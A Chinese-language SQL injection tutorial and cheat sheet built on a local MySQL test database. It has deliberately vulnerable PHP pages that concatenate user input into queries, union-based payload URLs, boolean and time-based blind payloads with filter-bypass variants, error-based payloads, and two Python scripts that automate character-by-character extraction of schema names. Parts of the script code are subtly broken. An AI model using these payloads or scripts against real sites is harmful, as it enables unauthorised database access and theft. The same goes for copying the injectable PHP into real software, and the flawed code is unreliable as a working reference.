建立测试数据库

1
2
3
4
5
6
7
8
mysql> select * from userinfo;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | password |
| 2 | zhansan | 123123 |
+----+----------+----------+
2 rows in set (0.00 sec)

1.union 查询注入

测试源码

1
2
3
4
5
6
7
8
9
10
11
<?php
include'Mysql.class.php';
$mysql = new Mysql();
$id = $_GET['id'];
if( isset($id) ){
$sql = 'select username,password from userinfo where id=\''.$id.'\'';
$query = mysql_query($sql);
$info = mysql_fetch_array($query);
echo $sql.'<br>';
var_dump($info);
}

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
mysql> select username,password from userinfo;
+----------+----------+
| username | password |
+----------+----------+
| admin | password |
| zhansan | 123123 |
+----------+----------+
2 rows in set (0.00 sec)

mysql> select username,password from userinfo union select 1,2;
+----------+----------+
| username | password |
+----------+----------+
| admin | password |
| zhansan | 123123 |
| 1 | 2 |
+----------+----------+
3 rows in set (0.00 sec)

UNION 内部的每个 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每个 SELECT 语句中的列的顺序必须相同。

union 注入最重要的就是保持查询的列数一致。

确认查询的列数 一般有两种方法:

1.利用 ORDER BY

1
2
3
4
http://127.0.0.1/sql/union.php?id=1' order by 1 # //正常
http://127.0.0.1/sql/union.php?id=1' order by 2 # //正常
http://127.0.0.1/sql/union.php?id=1' order by 3 # //报错
所以查询的列数为2

2.利用 union

1
2
3
http://127.0.0.1/sql/union.php?id=1' union select 1 #  //报错
http://127.0.0.1/sql/union.php?id=1' union select 1,2 # //正常
所以查询的列数为2

注入过程:

1
2
3
查询数据库:http://127.0.0.1/sql/union.php?id=-1' union select database(),2 # //sqltest
查询数据库 sqltest 中的表:http://127.0.0.1/sql/union.php?id=-1' union select table_name,2 from information_schema.tables where table_schema='sqltest' # //userinfo
查询 userinfo 中的列:http://127.0.0.1/sql/union.php?id=-1' union select group_concat(column_name),2 from information_schema.columns where table_schema='sqltest' #

技巧:group_concat() 可以将多条数据组合成字符串输出

​ 构造错误查询 爆出回显位置(and 1=2 UNION SELECT 1,2或 id=-1 UNION SELECT 1,2)

​ 过滤逗号时绕过(http://127.0.0.1/sql/union.php?id=-1' union select * from (select database())a join (select version())b #)

2.BOOL 型盲注

测试源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
include'Mysql.class.php';
$mysql = new Mysql();
@$id = $_GET['id'];
if(isset($id)){
$sql = 'select username,password from userinfo where id=\''.$id.'\'';
if($query = mysql_query($sql)){
$re = mysql_fetch_array($query);
if(!empty($re)){
echo 1;
}else{
echo 0;
}
}
}

bool型注入就是回显只有 正确-错误 ,无法直接显示出查询到的数据。

1
2
http://127.0.0.1/sql/bool.php?id=1       // 回显 1
http://127.0.0.1/sql/bool.php?id=3 // 回显 0

bool 型注入最重要的就是构造 bool 条件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//正常情况
'or bool#
true'and bool#

//不使用空格、注释
'or(bool)='1
true'and(bool)='1

//不使用or、and、注释
'^!(bool)='1
'=(bool)='
'||(bool)='1
true'%26%26(bool)='1
'=if((bool),1,0)='0

//不使用等号、空格、注释
'or(bool)<>'0
'or((bool)in(1))or'0

//其他
or (case when (bool) then 1 else 0 end)

bool注入常用的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ASCII() //获取字符的ascii码
ORD() //获取字符的ascii码
CHAR() //将ascii码转为字符
MID(str,start,length) //从文本字段中提取字符
LENGTH() //获取长度
substring()//mysql> SELECT SUBSTRING('Quadratically',5);
-> 'ratically'
mysql> SELECT SUBSTRING('foobarbar' FROM 4);
-> 'barbar'
mysql> SELECT SUBSTRING('Quadratically',5,6);
-> 'ratica'
mysql> SELECT SUBSTRING('Sakila', -3);
-> 'ila'
mysql> SELECT SUBSTRING('Sakila', -5, 3);
-> 'aki'
mysql> SELECT SUBSTRING('Sakila' FROM -4 FOR 2);
-> 'ki'
LEFT(str,len) //返回最左边的n个字符的字符串str,或NULL如果任何参数是NULL
RIGHT(str,len) //返回最右边的n个字符的字符串str,或NULL如果任何参数是NULL
substr(str,start,length) //从文本字段中提取字符
greatest() //获取最大值 select greatest("sed",database())= "sed"
least() //获取最小值 select least("sea",database())="sea";

py脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import requests
def bool(url,flag):
s = requests.Session()
database = ''
tables = ''
columns={}
url_database = url.replace('Bool','ascii(substr((select database()),{0},1))={1}',1)
for j in range(1,10):
for i in range(1,129):
re=s.get(url_database.format(j,i))
print(url_database.format(j,i))
print(i)
if flag in re.text:
database+=chr(i)
break
s.close()
s = requests.Session()
url_tables = url.replace('Bool','ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\''+database+'\'),{0},1))={1}',1)
for j in range(1,20):
for i in range(1,129):
re=s.get(url_tables.format(j,i))
print(url_tables.format(j,i))
print(i)
if flag in re.text:
tables+=chr(i)
break
if i==129:
break
s.close()
s = requests.Session()
tables = tables.split(',');
for table in tables:
column=''
url_columns = url.replace('Bool','ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=\''+table+'\' and table_schema=\''+database+'\'),{0},1))={1}',1)
for j in range(1,100):
for i in range(1,129):
re=s.get(url_columns.format(j,i))
print(url_columns.format(j,i))
print(table)
if flag in re.text:
column+=chr(i)
print(column)
break
if i==129:
break
columns[table]=column
s.close()
print('databse:'database)
print('table:'tables)
print('column:'columns)
bool('http://10.176.0.11/sql/bool.php?id=-1\' or (Bool)%23','1')

3.时间盲注

测试源码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
include'Mysql.class.php';
$mysql = new Mysql();
$id = @$_GET['id'];
if(isset($id)){
$sql = 'select username,password from userinfo where id=\''.$id.'\'';
$query = mysql_query($sql);
$re = mysql_fetch_array($query);
if(!empty($re))
echo 1;
else echo 1;
}else echo 1;
?>

通过页面的响应时间判断语句的真假

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
一般格式:
if(bool),sleep(3),0)
or (case when (bool) then sleep(3) else 0 end)

两个常用的延时函数:
benchmark(100000,md5(1))
sleep(5)

其他导致延时效果的方法:

' and if(ascii(substr((select database()),%d,1))<%d,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B,information_schema.tables C),1)#
//利用笛卡尔积

select if(substr((select 1)='1',1,1),concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',1);
//利用不正确的正则表达式

py脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import requests
import time
def Time(url,level):
s = requests.Session()
database = ''
tables = ''
columns={}
url_database = url.replace('Bool','ascii(substr((select database()),{0},1))={1}',1)
for j in range(1,10):
for i in range(1,129):
time_start=time.time()
re=s.get(url_database.format(j,i))
time_end=time.time()
print(url_database.format(j,i))
print(time_end-time_start)
if (time_end-time_start)>5:
database+=chr(i)
break
if i==129:
break
s.close()
if level>1:
s = requests.Session()
url_tables = url.replace('Bool','ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\''+database+'\'),{0},1))={1}',1)
for j in range(1,20):
for i in range(1,129):
time_start=time.time()
re=s.get(url_tables.format(j,i))
time_end=time.time()
print(url_tables.format(j,i))
print(i)
if (time_end-time_start)>5:
database+=chr(i)
break
if i==129:
break
s.close()
if level>2:
s = requests.Session()
tables = tables.split(',');
for table in tables:
column=''
url_columns = url.replace('Bool','ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=\''+table+'\' and table_schema=\''+database+'\'),{0},1))={1}',1)
for j in range(1,100):
for i in range(1,129):
time_start=time.time()
re=s.get(url_columns.format(j,i))
time_end=time.time()
print(url_columns.format(j,i))
print(table)
if (time_end-time_start)>5:
database+=chr(i)
break
if i==129:
break
columns[table]=column
s.close()
print('databse:'+database)
print('table:'+tables)
print('column:'+columns)


Time('http://127.0.0.1/sql/time.php?id=-1\' or (case when (Bool) then sleep(5) else 0 end)%23',3)

4.报错注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));

insert 注入 与 update 注入 一般使用报错注入以及 https://www.anquanke.com/post/id/85487

备忘录

1
2
3
4
5
6
Mysql注释符
1. -- -
2. /* .... */
3. #
4. `
5. ;%00

参考

http://p0desta.com/2018/03/29/SQL注入备忘录